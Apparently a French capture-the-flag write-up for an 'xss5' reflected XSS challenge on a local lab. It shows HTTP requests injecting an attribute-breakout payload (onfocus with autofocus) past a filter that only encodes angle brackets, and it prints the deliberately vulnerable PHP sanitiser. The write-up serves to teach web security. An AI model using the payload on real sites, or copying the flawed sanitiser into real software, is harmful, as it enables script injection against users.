xss5

Exploitation

Cinquième challenge. L'auteur indique qu'il encode maintenant les caractères < et > :

Je tente la payload <script>alert(1)</script> afin de vérifier l'encodage. Le mot clé n'est pas réfléchi dans le message d'erreur mais en tant que valeur de l'attribut HTML value :

Et les chevrons sont encodés en entités HTML :

POST /xss5/ HTTP/1.1
Host: localhost:9003
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Content-Type: application/x-www-form-urlencoded
Content-Length: 64
Origin: http://localhost:9003
Connection: close
Referer: http://localhost:9003/xss5/

search=%3Cscript%3Ealert%281%29%3C%2F%3Cscript%3E&submit=Envoyer
HTTP/1.1 200 OK
Server: Apache/2.4.53 (Debian)
X-Powered-By: PHP/8.0.18
Content-Length: 2159
Connection: close
Content-Type: text/html; charset=UTF-8

<div class="form-group col-md-2">
  <input type="text" class="form-control" id="search" name="search" value="&lt;script&gt;alert(1)&lt;/&lt;script&gt;" placeholder="keyword" required>
</div>

Seulement les chevrons sont encodés, il m'est alors possible de réutiliser la même technique d'attaque qu'au challenge xss2, whatever" onfocus="alert(1)" autofocus x=" :

POST /xss5/ HTTP/1.1
Host: localhost:9003
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Content-Type: application/x-www-form-urlencoded
Content-Length: 80
Origin: http://localhost:9003
Connection: close
Referer: http://localhost:9003/xss5/

search=whatever%22+onfocus%3D%22alert%281%29%22+autofocus+x%3D%22&submit=Envoyer
HTTP/1.1 200 OK
Server: Apache/2.4.53 (Debian)
X-Powered-By: PHP/8.0.18
Content-Length: 2160
Connection: close
Content-Type: text/html; charset=UTF-8

<div class="form-group col-md-2">
  <input type="text" class="form-control" id="search" name="search" value="whatever" onfocus="alert(1)" autofocus x="" placeholder="keyword" required>
</div>

Et cela fonctionne :

Analyse du code source

Le mot clé est bien réfléchi en tant que valeur de l'attribut HTML value mais un assainissement est tout d'abord effectué grâce à la méthode xss_check(). Cette méthode remplace les chevrons < et > en entités HTML :

<?php
  if (isset ($_POST['submit']) && isset ($_POST['search'])) {
    $keyword = $_POST['search'];
  }

  function xss_check($data) {
    // Converts only "<" and ">" to HTLM entities
    $input = str_replace("<", "&lt;", $data);
    $input = str_replace(">", "&gt;", $input);
    $input = urldecode($input);
    return $input;
  }
?>

<div class="row">
  <form name="forgetPass" method="post">
    <div class="form-group col-md-2">
      <input type="text" class="form-control" id="search" name="search" value="<?php if (isset ($keyword) && !empty ($keyword)){ echo xss_check($keyword); }?>" placeholder="keyword" required>
    </div>
    <div class="form-group col-md-2">
      <input type="submit" class="form-control btn btn-default" name="submit">
    </div>
  </form>
</div>

Dernière mise à jour